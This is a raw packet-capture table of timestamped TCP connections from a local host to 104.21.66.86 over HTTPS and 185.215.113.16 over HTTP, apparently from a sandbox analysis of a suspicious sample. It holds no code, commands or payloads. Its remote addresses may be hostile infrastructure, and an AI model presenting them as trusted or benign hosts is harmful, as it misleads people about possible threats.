Dec 26, 2024 13:22:27.027838945 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:27.027875900 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:27.028078079 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:27.029443979 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:27.029728889 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:27.029759884 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:27.971788883 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:27.971894026 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:27.972043037 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:27.972131968 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:27.972155094 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:28.201941967 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:28.201988935 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:28.202071905 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:28.202352047 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:28.202362061 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:28.928416967 CET	80	49723	217.20.58.101	192.168.2.4
Dec 26, 2024 13:22:28.928590059 CET	49723	80	192.168.2.4	217.20.58.101
Dec 26, 2024 13:22:28.928761959 CET	49723	80	192.168.2.4	217.20.58.101
Dec 26, 2024 13:22:29.048269987 CET	80	49723	217.20.58.101	192.168.2.4
Dec 26, 2024 13:22:29.508022070 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:29.508132935 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:29.509325981 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:29.509332895 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:29.509572983 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:29.513437986 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:29.513592005 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:29.513629913 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:29.513731956 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:29.513741016 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:30.380628109 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:30.380744934 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:30.380991936 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:30.381114960 CET	49737	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:30.381133080 CET	443	49737	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:30.666834116 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:30.666887999 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:30.666950941 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:30.667237997 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:30.667256117 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:31.969836950 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:31.969981909 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:31.971487999 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:31.971499920 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:31.971723080 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:31.979651928 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:31.979758024 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:31.979763985 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:32.770831108 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:32.770921946 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:32.771038055 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:32.771147966 CET	49740	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:32.771162987 CET	443	49740	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:33.259152889 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:33.259191036 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:33.259282112 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:33.259634972 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:33.259646893 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.562381983 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.562469959 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.564054966 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.564064980 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.564338923 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.588238001 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.589250088 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.589303017 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.589600086 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.589639902 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.589792967 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.589838028 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.589978933 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.590014935 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.590610027 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.590646029 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.590821981 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.590857029 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.590866089 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.590872049 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.591054916 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.591087103 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.591125965 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.591244936 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.591276884 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.631328106 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.631522894 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.631572962 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.631597042 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.631612062 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:34.631647110 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:34.631659031 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:39.036216021 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:39.036474943 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:39.036564112 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:39.036626101 CET	49742	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:39.036645889 CET	443	49742	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:39.382214069 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:39.382280111 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:39.382368088 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:39.382725954 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:39.382740974 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:40.687081099 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:40.687228918 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:40.691458941 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:40.691481113 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:40.691777945 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:40.701272964 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:40.701304913 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:40.701390982 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:41.460792065 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:41.460881948 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:41.461046934 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:41.461154938 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:41.461174011 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:41.461206913 CET	49744	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:41.461213112 CET	443	49744	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:41.462915897 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:41.584100008 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:41.584196091 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:41.584471941 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:41.704849005 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008312941 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008359909 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008372068 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008408070 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.008455038 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008501053 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008512974 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.008526087 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008538008 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008563995 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.008709908 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008719921 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008733034 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.008819103 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.020427942 CET	80	49724	217.20.58.99	192.168.2.4
Dec 26, 2024 13:22:43.020535946 CET	49724	80	192.168.2.4	217.20.58.99
Dec 26, 2024 13:22:43.020617008 CET	49724	80	192.168.2.4	217.20.58.99
Dec 26, 2024 13:22:43.128448963 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.128488064 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.128640890 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.140271902 CET	80	49724	217.20.58.99	192.168.2.4
Dec 26, 2024 13:22:43.218851089 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.218874931 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.219050884 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.222809076 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.224467039 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.224523067 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.224567890 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.232784986 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.232902050 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.232958078 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.241323948 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.241399050 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.241419077 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.249692917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.249728918 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.249761105 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.258117914 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.258189917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.258200884 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.266518116 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.266628981 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.266659021 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.274935961 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.274981022 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.274993896 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.283333063 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.283411026 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.283480883 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.291676044 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.291743994 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.291842937 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.300190926 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.300288916 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.338793039 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.382579088 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.429171085 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.429373026 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.429469109 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.431826115 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.431977034 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.432105064 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.437288046 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.439368010 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.439457893 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.439482927 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.444825888 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.444924116 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.445171118 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.450249910 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.450308084 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.450326920 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.455724955 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.455787897 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.455811024 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.461218119 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.461283922 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.461299896 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.466619968 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.466713905 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.466736078 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.472147942 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.472218037 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.472249031 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.477689028 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.477735043 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.477813005 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.483176947 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.483191013 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.483247995 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.488507986 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.488562107 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.488591909 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.493999004 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.494050980 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.494123936 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.499408007 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.499483109 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.499500990 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.504913092 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.504976988 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.504998922 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.510356903 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.510431051 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.510457039 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.515821934 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.515893936 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.515916109 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.569986105 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.639568090 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.639647007 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.639703989 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.641408920 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.641593933 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.641668081 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.644151926 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.644278049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.644324064 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.647737026 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.647799969 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.647849083 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.652199984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.652309895 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.652379036 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.655755997 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.655846119 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.655886889 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.659782887 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.659888983 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.659943104 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.662754059 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.662833929 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.662875891 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.666070938 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.666256905 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.666305065 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.669581890 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.669751883 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.669792891 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.673408985 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.673490047 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.673538923 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.676883936 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.676964045 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.677017927 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.680527925 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.680701017 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.680758953 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.684411049 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.684456110 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.684499025 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.687859058 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.687896013 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.687958956 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.691468000 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.691581964 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.691627026 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.695178986 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.695261955 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.695323944 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.698765993 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.698858976 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.698910952 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.702431917 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.702523947 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.702589035 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.706098080 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.706171989 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.706219912 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.709816933 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.709865093 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.709913015 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.713433981 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.713500023 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.713546991 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.717089891 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.717318058 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.717375040 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.720640898 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.720756054 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.720801115 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.724308014 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.724396944 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.724457026 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.727977991 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.728049994 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.728096962 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.731583118 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.773041010 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.849935055 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.850054979 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.850126982 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.851382017 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.851490974 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.851569891 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.854337931 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.854454041 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.854515076 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.857116938 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.857187986 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.857333899 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.859961033 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.860038996 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.860105038 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.862788916 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.862881899 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.862941980 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.865679979 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.865803957 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.865863085 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.868597984 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.868637085 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.868690968 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.871423006 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.871855974 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.871903896 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.874214888 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.874330044 CET	80	49745	185.215.113.16	192.168.2.4
Dec 26, 2024 13:22:43.874391079 CET	49745	80	192.168.2.4	185.215.113.16
Dec 26, 2024 13:22:43.877048016 CET	80	49745	185.215.113.16	192.168.2.4
